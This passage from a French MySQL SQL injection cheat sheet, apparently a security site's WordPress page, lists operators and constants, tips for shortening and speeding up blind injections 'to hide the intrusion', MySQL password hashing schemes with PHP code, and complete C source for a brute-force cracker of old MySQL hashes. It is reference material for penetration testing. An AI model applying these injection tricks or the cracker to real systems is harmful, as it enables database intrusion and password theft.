target=\"_blank\"><code>\/<\/code><\/a><\/td>\n<td>Division operator<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/comparison-operators.html#operator_equal-to\" target=\"_blank\"><code>&lt;=&gt;<\/code><\/a><\/td>\n<td>NULL-safe equal to operator<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/comparison-operators.html#operator_equal\" target=\"_blank\"><code>=<\/code><\/a><\/td>\n<td>Equal operator<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/comparison-operators.html#operator_greater-than-or-equal\" target=\"_blank\"><code>&gt;=<\/code><\/a><\/td>\n<td>Greater than or equal operator<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/comparison-operators.html#operator_greater-than\" target=\"_blank\"><code>&gt;<\/code><\/a><\/td>\n<td>Greater than operator<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/comparison-operators.html#operator_is-not-null\" target=\"_blank\"><code>IS NOT NULL<\/code><\/a><\/td>\n<td>NOT NULL value test<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/comparison-operators.html#operator_is-not\" target=\"_blank\"><code>IS NOT<\/code><\/a><\/td>\n<td>Test a value against a boolean<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/comparison-operators.html#operator_is-null\" target=\"_blank\"><code>IS NULL<\/code><\/a><\/td>\n<td>NULL value test<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/comparison-operators.html#operator_is\" target=\"_blank\"><code>IS<\/code><\/a><\/td>\n<td>Test a value against a boolean<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/bit-functions.html#operator_left-shift\" target=\"_blank\"><code>&lt;&lt;<\/code><\/a><\/td>\n<td>Left shift<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/comparison-operators.html#operator_less-than-or-equal\" target=\"_blank\"><code>&lt;=<\/code><\/a><\/td>\n<td>Less than or equal operator<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/comparison-operators.html#operator_less-than\" target=\"_blank\"><code>&lt;<\/code><\/a><\/td>\n<td>Less than operator<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/string-comparison-functions.html#operator_like\" target=\"_blank\"><code>LIKE<\/code><\/a><\/td>\n<td>Simple pattern matching<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/arithmetic-functions.html#operator_minus\" target=\"_blank\"><code>-<\/code><\/a><\/td>\n<td>Minus operator<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/arithmetic-functions.html#operator_mod\" target=\"_blank\"><code>% or MOD<\/code><\/a><\/td>\n<td>Modulo operator<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/comparison-operators.html#operator_not-between\" target=\"_blank\"><code>NOT BETWEEN ... AND ...<\/code><\/a><\/td>\n<td>Check whether a value is not within a range of values<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/comparison-operators.html#operator_not-equal\" target=\"_blank\"><code>!=\u00a0<\/code>,\u00a0<code>&lt;&gt;<\/code><\/a><\/td>\n<td>Not equal operator<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/string-comparison-functions.html#operator_not-like\" target=\"_blank\"><code>NOT LIKE<\/code><\/a><\/td>\n<td>Negation of simple pattern matching<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/regexp.html#operator_not-regexp\" target=\"_blank\"><code>NOT REGEXP<\/code><\/a><\/td>\n<td>Negation of REGEXP<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/logical-operators.html#operator_not\" target=\"_blank\"><code>NOT\u00a0<\/code>,\u00a0<code>!<\/code><\/a><\/td>\n<td>Negates value<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/logical-operators.html#operator_or\" target=\"_blank\"><code>||\u00a0<\/code>,\u00a0<code>OR<\/code><\/a><\/td>\n<td>Logical OR<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/arithmetic-functions.html#operator_plus\" target=\"_blank\"><code>+<\/code><\/a><\/td>\n<td>Addition operator<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/regexp.html#operator_regexp\" target=\"_blank\"><code>REGEXP<\/code><\/a><\/td>\n<td>Pattern matching using regular expressions<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/bit-functions.html#operator_right-shift\" target=\"_blank\"><code>&gt;&gt;<\/code><\/a><\/td>\n<td>Right shift<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/regexp.html#operator_regexp\" target=\"_blank\"><code>RLIKE<\/code><\/a><\/td>\n<td>Synonym for REGEXP<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/string-functions.html#operator_sounds-like\" target=\"_blank\"><code>SOUNDS LIKE<\/code><\/a><\/td>\n<td>Compare sounds<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/arithmetic-functions.html#operator_times\" target=\"_blank\"><code>*<\/code><\/a><\/td>\n<td>Multiplication operator<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/arithmetic-functions.html#operator_unary-minus\" target=\"_blank\"><code>-<\/code><\/a><\/td>\n<td>Change the sign of the argument<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.6\/en\/logical-operators.html#operator_xor\" target=\"_blank\"><code>XOR<\/code><\/a><\/td>\n<td>Logical XOR<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>Constantes<\/h2>\n<table>\n<tbody>\n<tr>\n<td>current_user<\/td>\n<td>L&#8217;utilisateur MySQL courant, insensible \u00e0 la casse<\/td>\n<\/tr>\n<tr>\n<td>null, \\N<\/td>\n<td>Le caract\u00e8re null, \u00e9crit en toutes lettres est insensible \u00e0 la casse, contrairement \u00e0 sa forme r\u00e9duire &#8220;\\N&#8221;.<\/td>\n<\/tr>\n<tr>\n<td>true, false<\/td>\n<td>Bool\u00e9en insensibles \u00e0 la casse.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>Optimisation des requ\u00eates<\/h2>\n<ul>\n<li>L&#8217;optimisation de la taille des injections (en termes de cha\u00eenes de caract\u00e8res).<\/li>\n<li>L&#8217;optimisation du nombre de requ\u00eate (trafic r\u00e9seau) pour la r\u00e9cup\u00e9ration de donn\u00e9es, tr\u00e8s convoit\u00e9 pour le mode aveugle (BSQLi).<\/li>\n<li>L&#8217;augmentation de l&#8217;information retourn\u00e9e par les requ\u00eates (une BSQLi n&#8217;a que 2 \u00e9tats, l&#8217;id\u00e9e est d&#8217;augmenter ces \u00e9tats).<\/li>\n<\/ul>\n<p><strong>Les int\u00e9r\u00eats :<\/strong><\/p>\n<ul>\n<li>Camoufler au maximum l&#8217;intrusion<\/li>\n<li>R\u00e9cup\u00e9rer de plus large quantit\u00e9 d&#8217;information<\/li>\n<li>Gagner en temps d&#8217;ex\u00e9cution<\/li>\n<\/ul>\n<p><strong>Le choix des fonctions :<\/strong><\/p>\n<p>Privil\u00e9gier les fonctions et alias de petite taille pour des traitements \u00e9quivalents :<\/p>\n<ul>\n<li>SUSTRING()<\/li>\n<li>SUBSTR()<\/li>\n<li>MID()<\/li>\n<\/ul>\n<p>Utiliser des comparaisons par hash plut\u00f4t qu&#8217;avec des longues cha\u00eenes de caract\u00e8res :<\/p>\n<p>[sql]SELECT passwd FROM Users WHERE mail=&#8217;a.very.long.known.mail.address@a.very.long.domain.name.and.his.extension.com&#8217;;<br \/>\nSELECT passwd FROM Users WHERE CRC32(mail)=&#8217;1946508822&#8242;;<br \/>\n[\/sql]<\/p>\n<p><strong>L&#8217;utilisation d&#8217;op\u00e9rateur :<\/strong><\/p>\n<ul>\n<li>AND 1=1 =&gt; &amp;&amp;1 =&gt; &amp;1<\/li>\n<li>OR 1=1 =&gt; ||1 =&gt; |1 (erreur pour NULL|1)<\/li>\n<li>id=0 =&gt; !id<\/li>\n<li>&gt; plut\u00f4t que &lt;= et vice-versa<\/li>\n<\/ul>\n<p><strong>L&#8217;optimisation des injections en aveugle (BSQLi) :<\/strong><\/p>\n<ul>\n<li>Utilisation d&#8217;algorithmes de recherche dichotomique (O(log(n)).<\/li>\n<li>Favoriser la recherche par expressions r\u00e9guli\u00e8res.<\/li>\n<li>Exploiter les cha\u00eenes de Markov pour la pr\u00e9diction des caract\u00e8res \u00e0 chercher.<\/li>\n<li>Processus de recherche arborescent.<\/li>\n<li>SQL injections aveugles color\u00e9s.<\/li>\n<\/ul>\n<p><strong>R\u00e9f\u00e9rences et outils :<\/strong><\/p>\n<ul>\n<li><a title=\"Blind Sql Injection with Regular Expressions Attack\" href=\"http:\/\/www.ihteam.net\/papers\/blind-sqli-regexp-attack.pdf\" target=\"_blank\">Blind Sql Injection with Regular Expressions Attack<\/a><\/li>\n<li><a title=\"SQL Injection optimization\" href=\"http:\/\/sebug.net\/paper\/Meeting-Documents\/Ruxcon2011\/LNLJ-Harder_Better_Faster_Stronger_V1.0.pdf\" target=\"_blank\">SQL Injection optimization (LNLJ-Harder_Better_Faster_Stronger_V1.0)<\/a><\/li>\n<li><a title=\"MySQL colour blind injection\" href=\"https:\/\/github.com\/lukejahnke\/MySQL-Colour-Blind-Injection\" target=\"_blank\">MySQL colour blind injection<\/a><\/li>\n<\/ul>\n<h2>Mots de passe<\/h2>\n<h3>Hachage<\/h3>\n<p>La fonction de hachage des mots de passe a \u00e9volu\u00e9 \u00e0 partir de la version 4.1 de MySQL.<\/p>\n<h4>MySQL &lt; 4.1.1<\/h4>\n<p>L&#8217;algorithme employ\u00e9 est connu sous le nom de MYSQL323. Les hashs sont de 16 octets :<\/p>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT PASSWORD(&#8216;asafety&#8217;); &#8212; MySQL &amp;amp;lt; 4.1.1<br \/>\nSELECT OLD_PASSWORD(&#8216;asafety&#8217;); &#8212; MySQL &amp;amp;gt;= 4.1.1[\/sql]<\/p>\n<p><strong>R\u00e9sultats :<\/strong><\/p>\n<p>[sql]4373db177264183f[\/sql]<\/p>\n<p><strong>Algorithme de g\u00e9n\u00e9ration en PHP :<\/strong><\/p>\n<p>[php]<\/p>\n<p>&amp;amp;lt;?php<\/p>\n<p>function mysql323($input){<br \/>\n $nr = 1345345333; $add = 7; $nr2 = 0x12345671; $tmp = null;<br \/>\n $inlen = strlen($input);<br \/>\n for ($i = 0; $i &amp;amp;lt; $inlen; $i++) {<br \/>\n $byte = substr($input, $i, 1);<br \/>\n if ($byte == &#8216; &#8216; || $byte == &amp;amp;quot;\\t&amp;amp;quot;) continue;<br \/>\n $tmp = ord($byte);<br \/>\n $nr ^= ((($nr &amp;amp;amp; 63) + $add) * $tmp) + (($nr &amp;amp;lt;&amp;amp;lt; 8) &amp;amp;amp; 0xFFFFFFFF);<br \/>\n $nr2 += (($nr2 &amp;amp;lt;&amp;amp;lt; 8) &amp;amp;amp; 0xFFFFFFFF) ^ $nr;<br \/>\n $add += $tmp;<br \/>\n }<br \/>\n $out_a = $nr &amp;amp;amp; ((1 &amp;amp;lt;&amp;amp;lt; 31) &#8211; 1);<br \/>\n $out_b = $nr2 &amp;amp;amp; ((1 &amp;amp;lt;&amp;amp;lt; 31) &#8211; 1);<br \/>\n $output = sprintf(&amp;amp;quot;%08x%08x&amp;amp;quot;, $out_a, $out_b);<br \/>\n return $output;<br \/>\n}<\/p>\n<p>echo mysql323(&amp;amp;quot;asafety&amp;amp;quot;);<\/p>\n<p>?&amp;amp;gt;<\/p>\n<p>[\/php]<\/p>\n<ul>\n<li><a title=\"PHP\" href=\"http:\/\/stackoverflow.com\/questions\/260236\/mysql-hashing-function-implementation\" target=\"_blank\">Impl\u00e9mentation de l&#8217;algorithme en PHP<\/a><\/li>\n<li><a title=\"Python\" href=\"http:\/\/djangosnippets.org\/snippets\/1508\/\" target=\"_blank\">Impl\u00e9mentation de l&#8217;algorithme en Python<\/a><\/li>\n<\/ul>\n<h4>MySQL &gt;= 4.1<\/h4>\n<p>Hash de 40 octets pr\u00e9fix\u00e9s d&#8217;une ast\u00e9risque. L&#8217;algorithme employ\u00e9 est un double hachage SHA1 du mot de passe en clair. Cet algorithme est connu sous le nom de MYSQLSHA1 ou Hash MYSQL5.<\/p>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT PASSWORD(&#8216;asafety&#8217;);<br \/>\nSELECT CONCAT(&#8216;*&#8217;,UPPER(SHA1(UNHEX(SHA1(&#8216;asafety&#8217;)))));[\/sql]<\/p>\n<p><strong>R\u00e9sultats :<\/strong><\/p>\n<p>[sql]*9DCFC78ACC470A60569B2FF35D89CC88DCB85E4C<br \/>\n*9DCFC78ACC470A60569B2FF35D89CC88DCB85E4C[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Une r\u00e9tro-compatibilit\u00e9 est toujours pr\u00e9sente dans les versions de MySQL &gt;= 4.1, via la fonction OLD_PASSWORD().<\/li>\n<\/ul>\n<h3>Cassage<\/h3>\n<p>Diff\u00e9rentes solutions permettent de tester la r\u00e9sistance des mots de passe MySQL pour tous types de versions.<\/p>\n<ul>\n<li>Cain &amp; Abel permet de tester les hash de MySQL 3.x \u00e0 6.x.<\/li>\n<li>Un module Metasploit pour John The Ripper est \u00e9galement disponible <a title=\"JTR MySQL Password Cracker\" href=\"http:\/\/www.metasploit.com\/modules\/auxiliary\/analyze\/jtr_mysql_fast\" target=\"_blank\">ici<\/a>.<\/li>\n<\/ul>\n<p>L&#8217;algorithme de brute-force des hashs des versions MySQL &lt; 4.1 en C est le suivant :<\/p>\n<p>[c]<br \/>\n\/* This program is public domain. Share and enjoy.<br \/>\n*<br \/>\n* Example:<br \/>\n* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast<br \/>\n* $ MySQLfast 6294b50f67eda209<br \/>\n* Hash: 6294b50f67eda209<br \/>\n* Trying length 3<br \/>\n* Trying length 4<br \/>\n* Found pass: barf<br \/>\n*<br \/>\n* The MySQL password hash function could be strengthened considerably<br \/>\n* by:<br \/>\n* &#8211; making two passes over the password<br \/>\n* &#8211; using a bitwise rotate instead of a left shift<br \/>\n* &#8211; causing more arithmetic overflows<br \/>\n*\/<\/p>\n<p>#include &amp;amp;lt;stdio.h&amp;amp;gt;<\/p>\n<p>typedef unsigned long u32;<\/p>\n<p>\/* Allowable characters in password; 33-126 is printable ascii *\/<br \/>\n#define MIN_CHAR 33<br \/>\n#define MAX_CHAR 126<\/p>\n<p>\/* Maximum length of password *\/<br \/>\n#define MAX_LEN 12<\/p>\n<p>#define MASK 0x7fffffffL<\/p>\n<p>int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)<br \/>\n{<br \/>\n  int i, c;<br \/>\n  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;<br \/>\n  u32 newstate1, newstate2, newstate3;<br \/>\n  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];<br \/>\n  u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];<br \/>\n  i = -1;<br \/>\n  sum = 7;<br \/>\n  state1_ary[0] = 1345345333L;<br \/>\n  state2_ary[0] = 0x12345671L;<\/p>\n<p>  while (1) {<br \/>\n    while (i &amp;amp;lt; stop) {<br \/>\n      i++;<br \/>\n      pass_ary[i] = MIN_CHAR;<br \/>\n      step_ary[i] = (state1_ary[i] &amp;amp;amp; 0x3f) + sum;<br \/>\n      xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] &amp;amp;lt;&amp;amp;lt; 8);<br \/>\n      sum += MIN_CHAR;<br \/>\n      state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];<br \/>\n      state2_ary[i+1] = state2_ary[i]<br \/>\n        + ((state2_ary[i] &amp;amp;lt;&amp;amp;lt; 8) ^ state1_ary[i+1]);<br \/>\n    }<\/p>\n<p>    state1 = state1_ary[i+1];<br \/>\n    state2 = state2_ary[i+1];<br \/>\n    step = (state1 &amp;amp;amp; 0x3f) + sum;<br \/>\n    xor1 = step*MIN_CHAR + (state1 &amp;amp;lt;&amp;amp;lt; 8);<br \/>\n    xor2 = (state2 &amp;amp;lt;&amp;amp;lt; 8) ^ state1;<\/p>\n<p>    for (c = MIN_CHAR; c &amp;amp;lt;= MAX_CHAR; c++, xor1 += step) {<br \/>\n      newstate2 = state2 + (xor1 ^ xor2);<br \/>\n      newstate1 = state1 ^ xor1;<\/p>\n<p>      newstate3 = (targ2 &#8211; newstate2) ^ (newstate2 &amp;amp;lt;&amp;amp;lt; 8);<br \/>\n      div = (newstate1 &amp;amp;amp; 0x3f) + sum + c;<br \/>\n      diff = ((newstate3 ^ newstate1) &#8211; (newstate1 &amp;amp;lt;&amp;amp;lt; 8)) &amp;amp;amp; MASK;<br \/>\n      if (diff % div != 0) continue;<br \/>\n      d = diff \/ div;<br \/>\n      if (d &amp;amp;lt; MIN_CHAR || d &amp;amp;gt; MAX_CHAR) continue;<\/p>\n<p>      div = (newstate3 &amp;amp;amp; 0x3f) + sum + c + d;<br \/>\n      diff = ((targ1 ^ newstate3) &#8211; (newstate3 &amp;amp;lt;&amp;amp;lt; 8)) &amp;amp;amp; MASK;<br \/>\n      if (diff % div != 0) continue;<br \/>\n      e = diff \/ div;<br \/>\n      if (e &amp;amp;lt; MIN_CHAR || e &amp;amp;gt; MAX_CHAR) continue;<\/p>\n<p>      pass_ary[i+1] = c;<br \/>\n      pass_ary[i+2] = d;<br \/>\n      pass_ary[i+3] = e;<br \/>\n      return 1;<br \/>\n    }<\/p>\n<p>    while (i &amp;amp;gt;= 0 &amp;amp;amp;&amp;amp;amp; pass_ary[i] &amp;amp;gt;= MAX_CHAR) {<br \/>\n      sum -= MAX_CHAR;<br \/>\n      i&#8211;;<br \/>\n    }<br \/>\n    if (i &amp;amp;lt; 0) break;<br \/>\n    pass_ary[i]++;<br \/>\n    xor_ary[i] += step_ary[i];<br \/>\n    sum++;<br \/>\n    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];<br \/>\n    state2_ary[i+1] = state2_ary[i]<br \/>\n      + ((state2_ary[i] &amp;amp;lt;&amp;amp;lt; 8) ^ state1_ary[i+1]);<br \/>\n  }<\/p>\n<p>  return 0;<br \/>\n}<\/p>\n<p>void crack(char *hash)<br \/>\n{<br \/>\n  int i, len;<br \/>\n  u32 targ1, targ2, targ3;<br \/>\n  int pass[MAX_LEN];<\/p>\n<p>  if ( sscanf(hash, &amp;amp;quot;%8lx%lx&amp;amp;quot;, &amp;amp;amp;targ1, &amp;amp;amp;targ2) != 2 ) {<br \/>\n    printf(&amp;amp;quot;Invalid password hash: %s\\n&amp;amp;quot;, hash);<br \/>\n    return;<br \/>\n  }<br \/>\n  printf(&amp;amp;quot;Hash: %08lx%08lx\\n&amp;amp;quot;, targ1, targ2);<br \/>\n  targ3 = targ2 &#8211; targ1;<br \/>\n  targ3 = targ2 &#8211; ((targ3 &amp;amp;lt;&amp;amp;lt; 8) ^ targ1);<br \/>\n  targ3 = targ2 &#8211; ((targ3 &amp;amp;lt;&amp;amp;lt; 8) ^ targ1);<br \/>\n  targ3 = targ2 &#8211; ((targ3 &amp;amp;lt;&amp;amp;lt; 8) ^ targ1);<\/p>\n<p>  for (len = 3; len &amp;amp;lt;= MAX_LEN; len++) {<br \/>\n    printf(&amp;amp;quot;Trying length %d\\n&amp;amp;quot;, len);<br \/>\n    if ( crack0(len-4, targ1, targ3, pass) ) {<br \/>\n      printf(&amp;amp;quot;Found pass: &amp;amp;quot;);<br \/>\n      for (i = 0; i &amp;amp;lt; len; i++)<br \/>\n        putchar(pass[i]);<br \/>\n      putchar(&#8216;\\n&#8217;);<br \/>\n      break;<br \/>\n    }<br \/>\n  }<br \/>\n  if (len &amp;amp;gt; MAX_LEN)<br \/>\n    printf(&amp;amp;quot;Pass not found\\n&amp;amp;quot;);<br \/>\n}<\/p>\n<p>int main(int argc, char *argv[])<br \/>\n{<br \/>\n  int i;<br \/>\n  if (argc &amp;amp;lt;= 1)<br \/>\n    printf(&amp;amp;quot;usage: %s hash\\n&amp;amp;quot;, argv[0]);<br \/>\n  for (i = 1; i &amp;amp;lt; argc; i++)<br \/>\n    crack(argv[i]);<br \/>\n  return 0;<br \/>\n}[\/c]<\/p>\n<h2>Sources &amp; ressources<\/h2>\n<ul>\n<li><a title=\"client9\" href=\"http:\/\/www.client9.com\/2012\/07\/27\/new-techniques-in-sql-obfuscation\/\" target=\"_blank\">New Techniques in SQLi Obfuscation: SQL never before used in SQLi,\u00a0Nick Galbreath, director of engineering at Etsy &#8211; DEFCON20<\/a><\/li>\n<li><a title=\"Kaoticcreations\" href=\"http:\/\/kaoticcreations.blogspot.fr\/p\/double-query-based-sql-injection.html\" target=\"_blank\">Double query based SQL injection (error-based)<\/a><\/li>\n<li><a title=\"Websec\" href=\"http:\/\/websec.ca\/kb\/sql_injection\" target=\"_blank\">The Knowledge database of websec by Roberto Salgado<\/a><\/li>\n<li><a title=\"Blind Sql Injection with Regular Expressions Attack\" href=\"http:\/\/www.ihteam.net\/papers\/blind-sqli-regexp-attack.pdf\" target=\"_blank\">Blind Sql Injection with Regular Expressions Attack<\/a><\/li>\n<li><a title=\"SQL Injection optimization\" href=\"http:\/\/sebug.net\/paper\/Meeting-Documents\/Ruxcon2011\/LNLJ-Harder_Better_Faster_Stronger_V1.0.pdf\" target=\"_blank\">SQL Injection optimization (LNLJ-Harder_Better_Faster_Stronger_V1.0)<\/a><\/li>\n<li><a title=\"Securiteam\" href=\"http:\/\/www.securiteam.com\/securityreviews\/5KP0N1PC1W.html\" target=\"_blank\">New SQL Injection Concept (Comments, 9e999, MySQL Specific) &#8211; Securiteam<\/a><\/li>\n<li><a title=\"SQL Injection Cheat Sheet\" href=\"http:\/\/ferruh.mavituna.com\/sql-injection-cheatsheet-oku\/\" target=\"_blank\">SQL Injection CHeat Sheet &#8211; Ferruh Mavituna<\/a><\/li>\n<li><a title=\"PentestMonkey\" href=\"http:\/\/pentestmonkey.net\/cheat-sheet\/sql-injection\/mysql-sql-injection-cheat-sheet\" target=\"_blank\">MySQL SQL Injection Cheat Sheet &#8211; PentestMonkey<\/a><\/li>\n<li><a title=\"Hashing algorithm MySQL password\" href=\"http:\/\/palominodb.com\/blog\/2011\/12\/04\/hashing-algorithm-mysql-password\" target=\"_blank\">Hashing algorithm MySQL password &#8211; PalominoDB<\/a><\/li>\n<li><a title=\"Command execution with MySQL UDF\" href=\"http:\/\/bernardodamele.blogspot.fr\/2009\/01\/command-execution-with-mysql-udf.html\" target=\"_blank\">Command execution with a MySQL UDF &#8211; Bernardo Damele<\/a><\/li>\n<li><a title=\"MySQL UDF and AppArmor\" href=\"http:\/\/bernardodamele.blogspot.fr\/2009\/01\/mysql-udf-and-apparmor.html\" target=\"_blank\">MySQL UDF and AppArmor &#8211; Bernardo Damele<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>Introduction Ce document recense de mani\u00e8re synth\u00e9tique et la plus compl\u00e8te possible, l&#8217;ensemble des vecteurs d&#8217;attaque pour des injections SQL [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1708,"parent":0,"menu_order":1,"comment_status":"open","ping_status":"open","template":"","meta":{"footnotes":""},"class_list":["post-569","page","type-page","status-publish","has-post-thumbnail","hentry"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/pages\/569","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=569"}],"version-history":[{"count":67,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/pages\/569\/revisions"}],"predecessor-version":[{"id":1753,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/pages\/569\/revisions\/1753"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1708"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=569"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}